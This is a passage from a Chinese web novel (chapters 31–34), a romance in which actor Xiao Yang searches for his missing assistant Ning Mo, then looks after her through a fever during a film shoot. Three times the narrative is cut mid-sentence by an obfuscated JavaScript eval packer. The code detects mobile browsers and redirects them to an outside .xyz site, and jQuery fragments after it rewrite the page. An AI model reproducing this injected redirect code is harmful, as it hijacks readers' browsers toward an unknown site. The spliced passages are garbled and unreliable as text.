“你怎么不接电话？”萧扬气还没喘匀，艰难地晃了晃头，“我以为……我们以为你出什么事了。” “我……” 手机开了飞行模式放在包里，但她不知道要怎么解释，只能沉默两秒，轻声说道：“对不起啊，手机没电了。” “但是……”她看着萧扬，还是反应不过来，“你怎么知道我在这里？” “……”萧扬没说话，握着她的手腕还没松开，宁茉的手腕细的惊人，也冰的惊人，像握住了一尊冰雕。 他低头看着宁茉的双眼，那双一向漂亮清澈的眼眸此刻却红透了，连鼻头都红彤彤的，看着十分可怜。 “……你哭了？” 宁茉双眼微微睁大，又立刻错开他的视线，望向一旁的低矮灌木，努力稳住声线：“……没有。” 萧扬靠近一步，声音低了些：“那眼睛怎么红了？” 对方突如其来的靠近让宁茉十分不适应，略带侵略性的气息逼得她后退一步，有些支吾地说道：“……风，风太大了，吹的。” 萧扬直直地看着她，眼底情绪不明，像是想探究她到底怎么了，又怕问的太多，让对方彻底甩开他。 好在风也十分配合，再次起风朝着他们刮了过来，萧扬的校服被吹的不断朝宁茉那边飞扬，他不得不伸手拢住衣服，再次看向宁茉。 “你……” 宁茉偏过头没看他，只是抿了抿嘴，语气依旧是冷静的：“抱歉，让你们担心了。” …… 萧扬沉默了几秒，却还是望着她的眼睛问道：“真的没事吗？” 宁茉没有抬头，摇摇头道：“没事。” “……”萧扬直起身，很轻地松了口气，“没事就好。” 宁茉的目光下移，望向被萧扬握着的手腕，稍稍用力收了收胳膊，萧扬顺势放开，只是手指依旧微曲，保持着刚才握住她手腕的姿势。 此时，身后又传来一阵脚步声，姗姗来迟的浦世诚终于跑了过来。 “宁、宁茉！呼，累死我了……” 宁茉再次惊讶地望着他：“浦哥？你也来了？” 浦世诚跑到他们面前，累的双手撑住膝盖，大口喘了半天气。 “萧扬你小子……跑这么快……都不等等我……” 他颤颤巍巍伸出手指向宁茉：“宁茉……没、没事吧？！” “……没事，浦哥，不好意思啊，我……我手机没电了。” 这下轮到宁茉愧疚了，她没想到浦世诚和萧扬会从剧组跑来找她，拍摄任务那么重，他们一定顶了很大的压力。 “没事，没事就好，”浦世诚一口气还没喘匀，伸手想去拍拍宁茉的肩膀，“下次出来一定要提前告诉我们，一定得保持……保持联系……” 他的手还没伸到地方，就被萧扬猛地抓住，扯着他转了个方向：“走，回剧组。” “啊？？？”浦世诚差点咽气，“不是？！你倒是让我休息……休息会儿啊！你体力好，我……我都快跑嗝屁了！” 萧扬冷酷地推着他的肩膀催他往前走：“没时间了，快回去拍摄。” 把浦世诚往前推了几步，萧扬又转过头，朝着宁茉伸出手，声音慕然放软：“我们回去吧。” 宁茉看了眼他伸出的手，愣了几秒，带着些茫然看向他。 萧扬这才意识到不妥，收回那只手，若无其事地放到了校服口袋里：“……走吧。” “嗯。”宁茉点点头，小跑着追上浦世诚，又再次跟他道歉。 浦世诚挥挥手：“没事没事，不是你的错，我就说你肯定没出什么事，是萧扬担心你，非要来找。” “他还找费书山，让警局帮忙调监控找你，你都不知道这事儿有多麻烦，我们好说歹说人家才愿意帮我们找人，还说看在摄制组的面子上，下不为例。” “他跟费书山请了一个小时的假，这会儿时间都快到了，得赶紧回去了，等会儿经过酒店你下车，我就不给你往里面送了啊。” …… 萧扬走在两个人后面，目光始终盯在前面单薄的身影上，根本没有听浦世诚在说什么，只是不断回想着刚才的画面。 他从来没有见过宁茉的这一面，狼狈、伤心、失神，像是只迷途的小动物，明明已经被吓得惊慌失措，却还要警惕着所有靠近她的人，不肯露出一点点软弱。 到底发生了什么？……萧扬目光慢慢沉下来，他对宁茉，实在是了解的太少太少了。 …… 坐上车，宁茉扣上安全带，余光瞥向坐在后座的人，却正好捕捉到对方的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654158|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光。 对视的瞬间，两个人都眨了眨眼，默契地移开视线。 车里安静了一会儿，浦世诚专心赶路，萧扬又没有说话，宁茉握着安全带，总觉得该说点什么。 她的心情已经平复得差不多了，回过神来又觉得十分感动，眼前的两个人虽然没说话，但对她的关心却不是假的。 宁茉努力想了个话题：“我看依依发的照片，你们早上拍了警局戏？” “是啊，”浦世诚挑了挑眉，“萧扬挨了十几个巴掌呢。” 萧扬：“……” 宁茉顿时哽了一下，眨眨眼，换了个话题：“那下午的拍摄任务也很重吗？” 浦世诚点点头：“还行吧，今天得把他蹲拘留所的画面拍完。” “那还挺辛苦的，要不……前面公交车站把我放下吧，”宁茉小声说道，“你们快点赶去剧组，我自己坐车回去。” 浦世诚嘿嘿一笑：“客气什么，反正顺路，给你送回去呗。” 宁茉摇摇头：“我怕耽误萧扬下午拍摄……虽然已经耽误了一会儿了。” “你手机不是没电了吗？”萧扬突然看向她，开口问了个关键问题，“怎么付钱？” “……” 宁茉眨眨眼，看了一眼萧扬身上的校服，觉得指望他带钱是不可能了，只能求助般望向浦世诚，“浦哥，你这车上有现金吗？” ……萧扬眯了眯眼，看向了窗外：宁茉有什么需求，第一时间竟然问的是浦世诚。 浦世诚摇摇头：“没带，没事儿，我们送你，不差这么一会儿。” 宁茉只好点点头：“实在是太麻烦你们了。” “客气什么。” 萧扬在后座安静坐了一会儿，突然幽幽开口：“小助理，你这个手机真够破的，像素又差，电池续航也不行。” “……”宁茉心虚地点点头，“嗯，是不太好。” “不过没关系，”萧扬看向窗外，嘴角微扬，“我和霍研商量过了，等拍完校园的戏份，就给你们三个人发奖品——每人一部新手机。” 宁茉猛地转头转向他，眼底满是惊喜：“真的？” 萧扬眉毛微挑：“当然。” “太好了！” 宁茉一直觉得自己的手机和平板色差有点大，如果能换一部新的，看画稿就能更准确了，“谢谢老板！” 这是宁茉第二次喊自己老板，看她高兴的样子，萧扬眉头舒展，靠在座椅上，眸光大亮，脸上终于露出愉悦的表情。 …… 浦世诚车开的很快，开到酒店附近时，在路边停了车。 宁茉推开车门，转身朝着他们挥挥手：“谢谢！今天真的麻烦你们了。” 萧扬朝她抬了抬下巴：“嗯，你记得去吃饭。” 宁茉一边点头应他，一边还不忘嘱咐浦世诚：“浦哥，回去开车慢点啊！” 车辆再次启动，浦世诚终于没忍住，看着后视镜里萧扬的侧脸，莫名其妙道。 “送手机？这么大方？你和霍研什么时候商量好的？” 萧扬扯了扯嘴角，露出个略带得意的笑容：“刚刚。” 32. 第 32 章 宁茉回房间的第一件事就是去洗了个热水澡，她浑身都凉，感觉自己被寒气包围着，像根冻透了的冰棍。 洗完澡，又调高房间的暖气温度，宁茉坐到床边的躺椅上，望着窗外发呆。 今天发生的事情像一团无序的线条，捋不清楚，又不能一键擦除，只能寄希望于这团线条自己缠到一起，从她的脑海中消失。 父母那边，她早就想好了，既然出来了就不会再回去，不管他们怎么反对，她是不会改变心意的。 只是要让他们接受这件事看起来有些困难，又或者他们永远不会接受，但这是他们该解决问题，不是宁茉的。 至于工作室那边…… 宁茉突然想到手机，起身去把手机从包里拿出来，关掉飞行模式，手机里顿时跳出了一堆信息和未接来电。 大部分是来自母亲的，有几个来自父亲，剩下的就是浦世诚和宋依依了。 在这些来电中，宁茉还看到了萧扬的电话。 微信更是信息轰炸，宁茉忽略掉父母的信息，专心去看宋依依发来的信息，她似乎很担心，一直在问宁茉到底怎么了。 简单解释了一下自己出去散步、手机没电这件事后，宁茉又看向另一个对话框。 萧扬也给她发了消息，不过内容很短，只有一个问号，高冷到和一路从森林公园门口跑过来的那个人仿佛是两个人格。 想到萧扬，宁茉脑海里浮现在云城森林公园看到萧扬时的场景，他那双漂亮的眼眸里溢满了焦急和担心，是宁茉从没见过的样子。 但更触动她的，是萧扬为了她那么大费周章、委托那么多人，一路翻着监控找她的行踪，又特意从剧组请假跑来找她。 哪怕她只是萧扬身边一个新来的小助理，萧扬都这么在意、这么用心。 宁茉在对话框停了很久，终于还是发了条消息。 [宁茉：谢谢。] 萧扬大概在拍戏，并没有立刻回复她。 宁茉躺到床上，疲倦地闭上眼，脑子里闪过无数的念头，但很快又被疲倦拉扯着，坠入沉睡边缘。 她又做梦了。 这次的梦境是一片血红，耳边不断传来尖叫声，像是有女人在求救，听的人毛骨悚然。 宁茉懵懂地向前走着，在血红里无助地摸索，直到眼前开始变黑，场景变成了一个狭窄阴暗的房间，没有一丝光亮，只有斜上方铁制的矮窗透出一丝红色的光，宁茉朝着那个方向走，走近时又停下脚步，呆呆抬头向上看，空无一物的铁窗上，突然出现了一双眼睛。 那是一双冷漠阴郁的眼睛，死死盯着她，像盯着一个死物，十分骇人。 宁茉下意识后退了一步，却不料一脚踩空，猛然从高处坠落，可怖的失重感瞬间死死拽住她。 “！” 几乎是同时，宁茉睁开了眼。 眼前一片光亮，她忘了关房间的灯，加上外面的阳光，透过光线还能看到空气中漂浮的尘粒。 茫然地盯着空中的尘粒看了许久，宁茉才意识到自己睡着了，并且做了个噩梦。 梦里的那双眼睛让人胆寒，但她醒来以后立刻就意识到那是什么——是昨天萧扬在体育场拍戏时，透过器材室窗户看尸体时的样子。 宁茉当时觉得他演的很好，悄悄拍了两张照片，却没想到这照片倒成了噩梦的素材，反倒又吓了她一跳。 揉着额头起身，宁茉觉得有些头疼，嗓子也干的冒烟，这症状和前两天的宋依依有些像，宁茉翻出床头柜里的电子体温计，对着自己的太阳穴点了一下。 38.2℃，果然发烧了。 “……” 宁茉起身翻找宋依依之前吃的退烧药，前两天还嘲笑宋依依身体素质差，没想到这么快就轮到自己了。 烧热水吃完药，她重新躺了回去，摸出手机看了眼时间，已经是下午五点了，手机里是助理群发来的消息，宋依依在问她晚上想吃什么，要给她带回来。 萧扬也回了信息，依旧言简意赅。 [萧扬：不用客气。] 这条消息是他半个小时前发的，十分钟前，他又发来了一条。 [萧扬：没事吧？] 最后一条消息来自一分钟前。 [萧扬：晚上陈昌要请大家吃饭，你来吗？] 宁茉愣了一下，想到自己还在发烧，回了一句。 [宁茉：我就不去了。] 萧扬回的很快：[好。] 宁茉想了想，不确定自己是流感还是单纯的着凉，就又发了一句。 [宁茉：我可能要请两天假。] 萧扬立刻又问道：[怎么了？] 下一秒，手机突然震动，萧扬的电话打了过来。 这还是萧扬第一次给自己打电话，宁茉盯着来电界面怔了两秒，按下了接通。 萧扬那边有点吵，他似乎正在移动，话筒里能听到风声，语气却依旧沉稳：“怎么了？有什么事吗？” “……也没事，”宁茉一时间还没想到要怎么解释，只好说道，“最近有点累，想……休息。” “哦，”萧扬大概是走到了一个没人的地方，声音放轻了些，“好，给你放三天假。” “不用不用，两天就好了，”宁茉说的语速快了，嗓子很痒，她压下那股痒意，继续说道，“不好意思，耽误工作了。” “……”萧扬沉默了两秒，还是说道，“没有耽误，你辛苦了。” 他的声音又轻又柔，一贯磁性的声音此刻隔着话筒听起来竟格外温柔，宁茉轻轻笑了一下，没注意气息，瞬间呛咳了两声，又自己努力稳住。 却还是被萧扬敏锐地捕捉到了：“……宁茉？你怎么了，不舒服吗？” “没有……”宁茉有点尴尬，“我没事。” 手机那端安静了几秒钟，宁茉竟莫名听出了几分不安。 萧扬的声音哑了些：“到底怎么了？” “……” 眼看瞒不了，宁茉只好小声说道：“我可能是有点……发烧。” 最后两个字她说得很小声，尾音几乎要被空气掩盖，但萧扬听得清清楚楚。 眸光猛然凝固，他回想不久前握住宁茉手腕时那冰凉的触感，有些懊恼地闭了闭眼。 当时就该让她去医院看看的。 “现在多少度？”萧扬又问道，“感觉哪里不舒服？头晕吗？喝热水了吗？” “吃药了吃药了，”宁茉听他说的急，自己语速也加快了，结果又咳嗽了两声，“我没事的，休息两天就好了。” 萧扬叹了口气：“我让王墨回酒店接你去医院看看。” “不用！不用！”宁茉声音都提高了些，“我真的没事！我刚才吃了药，睡一觉说不定就退烧了，要是退不了再去医院看也不迟。” 她语速飞快，像是为了让对方放心，信誓旦旦的：“真的萧扬，我没事，你不用担心我。” 萧扬：“……” 宁茉又小声补充了一句：“要不然……我等会儿再量量体温，看看情况。” “……好吧，”萧扬长长地叹了口气，似乎是拿她没办法，“量好体温，拍照给我。” “嗯嗯，”宁茉点点头，意识到对方看不见，又嘿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665874|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘿笑了一声，“好的好的，你去忙吧。” …… 挂掉电话，宁茉刚松一口气，萧扬的信息紧接着就发来了。 [萧扬：现在多少度？] 宁茉拍了□□温计上的38.2℃，想了想，又清空了数据，重新举起来量了一下，这次比刚才还高，变成38.5℃了。 她把前面那张温度低一点的照片发了过去，又附了一句：[没事的]。 萧扬：“……” 片场里，萧扬紧皱着眉头看着手机里的图片，眉眼黑沉沉的，照片是宁茉握着体温计拍的，她的指尖搭在体温计上，清瘦苍白。 她说了很多遍没事，好像这两个字说多了，就真的没事了一样。 萧扬看了许久，直到有人喊他过去拍摄，他才按住屏幕，保存了那张照片，随后不放心般又发了两句消息，才起身离开。 …… 云城冬日的天黑比其他地方要晚一些，暮色笼罩天空时，宁茉刚刚睡着。 她睡眠本来就断断续续，下午睡了那么一会儿，吃完药就实在睡不着了，顶着药效画了半个小时的画，就钻进被子里强制自己休息，可也拖了一个多小时才终于睡着。 这一觉托药物的福，她睡得安稳沉静，难得的轻松。 直到房间门被人轻轻推开，宋依依蹑手蹑脚地走进来。 她先是转身对着萧扬摆摆手，示意他宁茉睡着了，又摸黑进了房间，跑到宁茉床边蹲下。 宁茉还在睡，没有要醒来的样子，宋依依左右看看，借着走廊那一点点光亮找到了宁茉放在枕头下的体温计，给她量了一下，又悄悄退了出来。 “降了一点点，”宋依依说道，“现在是37.6℃了。” 萧扬皱着眉，目光始终没有从宁茉那个方向离开：“还是在发烧。” 宋依依看了眼房间里，轻声道：“先让她休息，说不定再晚一点就退烧了……好啦萧哥，你不用担心，去吃饭吧，陈导还在等你呢。” 萧扬没说话，只是沉默地站在房间门口，眉眼有些失神。 宋依依无奈地叹了口气，在片场时，陈昌说自从萧扬来到云城，他忙着筹备拍摄的事情都还没来得及请他吃饭，就定下今晚拍完戏，全剧组一起聚餐。 但萧扬的心思根本不在这里，他刚下戏就着急地拉着宋依依回来，要宋依依看看宁茉的情况。 现在宁茉还睡着，宋依依知道她睡觉很浅，怕回房间会打扰她，就打算跟着萧扬一起去吃饭，可没想到这次饭局的主角——萧扬本人，没有一点要去赴约的样子。 “萧扬哥，”宋依依伸手在他面前挥了挥，“你怎么了？” 萧扬回过神，看向她：“……没什么，她状态怎么样？” “睡得挺好的，”宋依依眨巴眨巴眼睛，笑了笑，“比平时睡觉安稳多了。” 萧扬顿时皱眉：“她平时睡得不好？” 宋依依摇摇头：“宁茉总是熬夜，我每天睡着的时候她都还没睡，我也不知道她一天到底睡几个小时。” 萧扬蓦然想到，似乎大多数见到她的场景，都是在深夜。 宋依依又小声道：“萧扬哥，浦哥在催了，我们真的得过去了。” “……知道了，”萧扬看了屋内一眼，终于转身，朝着电梯走去，“走吧。” 宋依依轻轻关上门，跟着萧扬往外走，还没走两步，萧扬脚步又是一停。 “？”宋依依好奇地抬头望向他，“怎么了？” “……”萧扬转头看向宋依依，似乎犹豫了几秒，还是问道，“你对宁茉……了解多少？” 33. 第 33 章 宁茉再睁眼的时候，房间里一片漆黑，身旁不远处传来均匀的呼吸声，她转头看过去，宋依依睡得很香。 喉咙很干，她慢慢坐起来，点亮了手机，时间显示凌晨两点，她竟然一觉睡了这么久。 手机里还有萧扬的信息，一条是十一点的时候，问她醒了吗，另一条是一点，让她多喝水，要是醒了告诉她。 宁茉慢慢爬起来，走到桌边摸了下水壶，壶身摸着还是温热的，宋依依大概睡前又专门给她烧了水，宁茉给自己倒了杯水，坐下来捧着杯子喝水。 一口气喝完了大半杯，嗓子才稍微舒服一点，宁茉拿着手机，给萧扬回了一句醒了。 回完才意识到不对，现在是凌晨两点，萧扬多半已经睡了，这时候发消息过去，可能会打扰到他。 但宁茉实在是睡得太久太晕，脑子还顾不上思考，回复就已经发出去了。 她有点懊恼地按灭了手机，寄希望于萧扬已经睡着了。 十秒钟后，手机屏幕亮了。 [萧扬：你怎么样了？] 宁茉想起来自己忘了量体温，去床头摸到体温计，摸黑测量了一下，又借着手机的光看了一眼。 37℃，已经退烧了。 她回道：[不烧了。] 怕对方担心，她又补充了一句：[神清气爽。] 萧扬许久没有回信息，宁茉以为这件事就此揭过，刚给自己又倒了杯水，手机又亮了。 [萧扬：开门。] “？？？”宁茉瞬间睁大了眼睛，望着手机愣了两秒，目光转向房间门。 ……不会吧，他来了？ 门口并没有传来敲门声，萧扬也没有催促，宁茉看了一眼熟睡的宋依依，轻手轻脚走到门口，小心翼翼拉开了门。 萧扬就站在门外，穿着毛衣和长裤，面料看起来蓬松保暖，但领口开的很大，隐约可见他清瘦白皙的锁骨，萧扬手里还提着一个竹制的方盒子。 “……”宁茉抬头，呆呆地看着他。 萧扬在开门的瞬间就借着走廊灯光看清了宁茉的穿着：她只穿了睡衣，薄薄的一层，脚上踩着一双毛绒绒的拖鞋，头发胡乱披散着，整个人显得毫不设防，干净又无害。 “你……”萧扬的目光在她身前转了一瞬，立刻又移开视线，“怎么不穿外套？” “……有点突然，没来得及换，”宁茉望着他，“你怎么来了？” 萧扬将手里的盒子往她面前一送：“给你送这个，晚上还没吃饭吧？” 隔着盒子都能闻到盒子里的清香，萧扬竟然还给她带了饭。 宁茉语气有点惊讶：“这么晚了，还能买到饭？” 萧扬解释道：“晚上在酒店打包的，刚才用微波炉热了一下。” 宁茉抬眼看他，讶异又感动，萧扬能想到她一个人在酒店没吃饭，还特地给她带饭，实在是细心地让人感动，他甚至还把饭热了一下。 …… “谢谢你。” 宁茉伸手去接那个盒子，入手的瞬间察觉重量不轻，也不知道萧扬给她带了多少东西。 但她一个转身，又犹豫起来：宋依依还在睡觉，这个时候开灯吃饭，势必会吵醒她。 萧扬看着她的背影，显然明白她的顾虑，轻声问道：“要不然……去我房间？” 宁茉转头看向他，对视的瞬间，萧扬略带心虚地移开目光，自觉补充道：“我没别的意思，宋依依明天还要跟组，就别吵她了。” 宁茉摇摇头：“很晚了，你明天也要拍摄，我不能打扰你，我去酒店一楼吃吧。” 那个咖啡厅她半夜睡不着时常去，已经熟练地掌握了潜入技巧，宁茉转身去穿外套，顺便套了件厚厚的长裤。 “……”萧扬愣在门口几秒，又轻声开口道，“一楼很冷，你刚刚退烧，不能受冻，而且……我也不困，晚上喝了咖啡，这会儿睡不着。” 宁茉已经穿好衣服重新走到门外，并没有打算采纳他的建议：“没关系的，你闭上眼睛躺着也是休息，谢谢你的夜宵。” 她举起那个食盒，朝着萧扬笑笑，转身往电梯走。 萧扬：“……” 实在客气的很，仿佛他们是第一天认识。 …… 电梯很快开了门，宁茉朝着萧扬挥挥手，一句“我走啦”还没说出口，萧扬已经朝她走过来，一起进了电梯。 宁茉一怔，她按的是往下的按键，萧扬在高层，他现在进来，就要跟着宁茉一起先到一楼，电梯才会往上走。 “……它是先往下的。”宁茉看着萧扬，发现对方面色平淡地站在电梯里，并没有出去等的打算，只好按下了关门键。 电梯向下移动到一楼，宁茉熟门熟路地帮萧扬按下他所在的楼层按钮，走出了电梯。 身后传来脚步声，宁茉脚步一顿，转头看过去，萧扬竟然跟着她出了电梯，他腿长，几步路就追到了宁茉身旁。 “你……”宁茉眨眨眼，“不回房间吗？” 萧扬抄起手臂，挑了挑眉毛，重复了之前那句话：“我不困。” “……” 两个人深夜一同潜入打烊的咖啡厅，这经历宁茉还是前所未有，特别是当她充当了那个“带路”的角色时。 宁茉推开隔板，小声道：“这是员工上下班的通道，夜晚也不会锁上。” 身后人的声音散漫随意：“你经常来？” “……不经常，偶尔来，”宁茉说完自觉心虚，努力将声线调的正气凛然一些，“从没乱动过人家的东西。” “哦，”萧扬应了一声，“守法公民。” 宁茉：“……” 她走到自己常待的那个角落，坐下打开食盒，酒店外的路灯光线昏黄，却也足够她看清，盒子里是一份瘦肉粥和两份清淡的菜，盛在瓷白圆盘里，凭空显出几分漂亮的卖相来。 宁茉有些惊讶：“你连盘子都打包了？” 萧扬似乎是笑了一声，声音很轻听不真切：“这些是我自己带的。” “你还带这个？”宁茉更惊讶了，“酒店能做饭吗？” “能，不过没时间做，”萧扬回道，“我习惯用自己的餐具。” 说着，他伸手将盘子往宁茉面前推了推，两个盘子瞬间变得十分对称。 宁茉点点头，心底悄悄总结：强迫症加洁癖。 她今天统共就吃了一顿早饭，确实是饿了，闻着瘦肉粥的香味食欲大涨，小口小口慢慢吃着，竟然吃了个干干净净。 萧扬的目光始终定在她身上，偶尔移到餐盘上时，只想着早知道打包两份了，一份不够她吃。 喝完最后一口粥，宁茉舒服地长出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680400|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气，一脸满足：“好吃。” “吃饱了吗？”萧扬问道，“没吃饱的话，我房间还有面包。” “饱了饱了，”宁茉忙不迭地点头，看向对面，“谢谢你，萧扬。” 昏暗的咖啡厅里，宁茉的眼睛亮晶晶的，带着笑意和人对视时，很容易让人的心脏凭空漏跳一拍。 萧扬愣了两秒，终于想起来移开视线，轻声道：“还睡得着吗？” 宁茉摇摇头：“白天睡够了，倒是你，你真的要去休息了。” 已经是凌晨三点，没记错的话，萧扬明天的通告是需要他早上七点半去做妆造的。 “嗯。” 萧扬起身，伸手去拿宁茉面前的瓷盘，修长手指搭在瓷盘边缘的瞬间，宁茉猛地反应过来，先他一步端起了瓷盘。 指尖相触又很快分开，萧扬的手指悬在半空，目光转向她。 宁茉一边收拾一边说道：“我回去把盘子洗一洗，明天还给你。” “……”萧扬没再说话，直起身，等宁茉收拾好东西、提起盒子，朝自己眨眨眼，作出一副打算一起悄悄跑路的样子。 他于是抬脚转身，朝着咖啡厅大门走，还没走两步，毛衣就被人猛地一拉，连带着修长身影都随之一滞。 宁茉双眼都瞪大了：“不不不不是那边！” 怕被人注意到，她小声又着急地拽着萧扬的毛衣，试图把他往回拉：“这里这里，顺着我们来的路出去！” 萧扬任由她拉着自己的衣服，一路牵引到员工通道的隔板前，才轻声道：“怎么一副做贼心虚的样子。” 宁茉将食指竖到嘴边，做了个“噤声”的动作，义正言辞：“借用场地而已，怎么能算偷呢。” 萧扬垂下目光，不知道在想什么，嘴角微微勾起，目光顺着宁茉伸展的手臂，移动到自己还被拉扯着的毛衣边缘上。 宁茉这才注意到自己还拽着对方的衣服，立刻松开手，跟他一起走到了电梯前。 直到进了电梯，宁茉才真正放松下来，按了两个楼层按钮，转头去看萧扬。 萧扬的目光瞬间错开她的视线，看向电梯楼层显示屏幕，沉默了几秒，开口道：“宁茉。” 宁茉：“嗯？” 萧扬的问题出乎意料：“你……还没适应酒店的床吗？” 宁茉愣了几秒，抿了抿嘴，想起上次萧扬问自己为什么总是睡得很晚，她随口说自己认床。 “……我最近适应了。” “但你好像还是睡得很晚，”萧扬的视线转向她，“是有什么心事吗？” “……”宁茉捏着食盒的提手，短暂地安静了一会儿，摇摇头，“没有。” 萧扬很轻地皱眉：“真的吗？” 宁茉：“嗯。” 电梯移动到了五楼，门开了，宁茉转头看向他，扬起笑容：“我走了，你明天拍摄加油。” 萧扬安静地看着她，应了一声。 宁茉退出电梯外，等着电梯闭合，她没有抬头，自然也不敢去看萧扬的目光，那目光含着不少深意，她有些看不懂。 电梯门缓缓合上，合上前的一秒，萧扬终于还是开口说了句话，尾音轻柔，语气却十分认真。 宁茉怔在原地，捏着食盒愣了足有一分钟。 萧扬说，照顾好自己。 …… 34. 第 34 章 宁茉在酒店房间足足休息了两天，精神气养的很足，画稿也完成了一大半，愉快地交了几张稿子，拿到稿费后，她决定给工作室众人买点好吃的。 商场离酒店不远，打车只要十分钟，宁茉出门前特意在助理群里报备，很快就接收到了宋依依的点单需求，她太久没吃甜食了，说自从来到云城，饮食健康到她都要瘦了。 连王墨也委托她帮忙买件羽绒服，他带的衣服太少，每天在片场冻的脸通红。 宁茉挑的认真，在男装店逛了一个小时，挑了三件觉得不错的，拍照发到了助理群，问王墨喜欢哪一个。 群里半天没有回信息，宁茉去到甜品店买甜品，手机一震，是萧扬发来一个问号。 “？”宁茉有点奇怪，点开对话框，眼睛瞬间睁大了一倍：她把要发给王墨的信息错发给了萧扬！ 萧扬和助理群是被她置顶的，大概是刚才分享转发的时候没看清楚，点错了对话框，三张图片都发给了萧扬。 “……”宁茉犹豫了两秒，迅速点击了撤回，一口气撤回了四条信息。 萧扬显然看见了，又发来一个问号。 [宁茉：……不好意思，发错了。] [萧扬：在哪里？] [宁茉：……附近的商场，买点东西。] [萧扬：今天来剧组吗？] [宁茉：去的，等下就去。] [萧扬：好。] 之后他没有再发消息，似乎不甚在意这件事，宁茉自己选了个羽绒服结了账，提着大包小包直接打车往剧组去。 学校的戏份已经拍完了，今天的拍摄现场移到了一个老小区里，小区全是老旧楼房，每个阳台上都搭着五颜六色的衣服，还有些家户养了满满一阳台的绿植，道路旁边的绿化带种满了菜，车也停的见缝插针，宁茉弯弯绕绕转了半天才找剧组所在地。 一眼就看到人群里的萧扬，他穿着黄色的外卖员衣服，戴着头盔，左右手各提着两兜外卖，正在楼道里奔跑。 宋依依在不远处拿着手机拍摄，看到宁茉，朝她兴奋地挥挥手。 宁茉走过去，问道：“这几天是拍送外卖的剧情吗？” “嗯，”宋依依小声应道，“光这一栋楼，萧扬哥上上下下跑了快十趟了。” 好在这一场终于是过了，副导演费书山让大家原地休息十分钟，萧扬便朝着场外走了过来。 他第一眼就看到宁茉手里提着的一堆东西，其中有个袋子很显眼，大约是件新衣服。 宋依依搬来折叠小桌子，宁茉把买的吃食平铺在上面，招呼浦世诚和王墨：“大家辛苦了，来吃点东西吧。” “哇！这家你也买了，他家的杏仁可颂超好吃！”宋依依开心地抱了抱宁茉，“茉茉你也太好了，买了这么多。” 浦世诚也笑笑：“那我就不跟你客气了。” 他一屁股要往下坐，冷不防被人拽住羽绒服帽子，又提了起来。 “？”浦世诚瞪了一眼刚松开他帽子、还不忘拍了拍手的萧扬，“干嘛，你不吃也不让别人吃啊？” 萧扬伸手将他往旁边一挡，语气随意：“坐旁边去。” 他走到宁茉身边，就着宁茉旁边的空椅子坐下。 “？？？”浦世诚莫名其妙，“这两个凳子有差别吗？你就非得坐那个？” 宁茉刚吃了口蛋挞就看到萧扬坐到了自己身边，转头看向他：“我知道你不吃甜的，给你买了无糖的面包，味道也不错。” 萧扬的目光却定在宁茉手里的蛋挞上，蛋挞外皮酥脆，被宁茉咬了一口，露出里面绿色的开心果馅来，看起来十分可口。 他又看向宁茉，她嘴边沾了点蛋挞渣，自己却毫不知情，还在小口嚼着蛋挞，满眼都是满足和快乐，嘴巴一鼓一鼓的，看起来很柔软。 宁茉见他半天没说话，转头想去拿面包袋子，却不料萧扬长臂一伸，越过她精准地拿走了蛋挞盒里的另一个蛋挞，顿时一愣。 就连浦世诚都一惊：“你不是从来不吃这东西吗？” 萧扬将蛋挞举到嘴边，垂眸咬了一口：“偶尔也想换换口味。” 甜味从舌尖迅速弥漫至喉咙，萧扬不动声色地皱了下眉，的确有点太甜了，但宁茉吃的那么开心，想来这甜度正合她的口味。 王墨也凑过来：“宁茉，你买了吗？” “嗯，买了，”宁茉指了指地上的袋子，“看看合不合适。” 萧扬还在盯着蛋挞，似乎在纠结要不要再吃一口，听到宁茉的话动作一顿，目光蓦地转向王墨，只见他从袋子里拆出一件浅棕色的长款羽绒服，正是之前宁茉发图片给自己，问自己好不好看的那一款。 萧扬：“……” 给别的男人买衣服，还要来问自己的意见。 萧扬嘴角扯起一抹冷淡的笑容，薄薄的眼皮微颤，眼底的神色却没什么笑意。 …… 王墨眼前一亮：“哇，这个好看。” “我还买了个同色系的帽子，你试试，”宁茉指了指另一个小袋子，“搭起来穿应该也不错。” “哇哦！茉茉你也太有衣品了吧，”宋依依盯着戴上帽子原地转了两圈的王墨，“程序员爆改潮男诶！” 王墨听得脸都红了：“帅吗？” “帅，”宁茉点点头，“而且这件衣服里面是白鸭绒，充绒量也高，很暖和的。” 她的目光不经意转到旁边，看到萧扬把只咬了一口的蛋挞放下了，顿时关心道：“是太甜了吗？” “嗯，太甜，太腻，”萧扬扯了扯嘴角，“不吃了。” 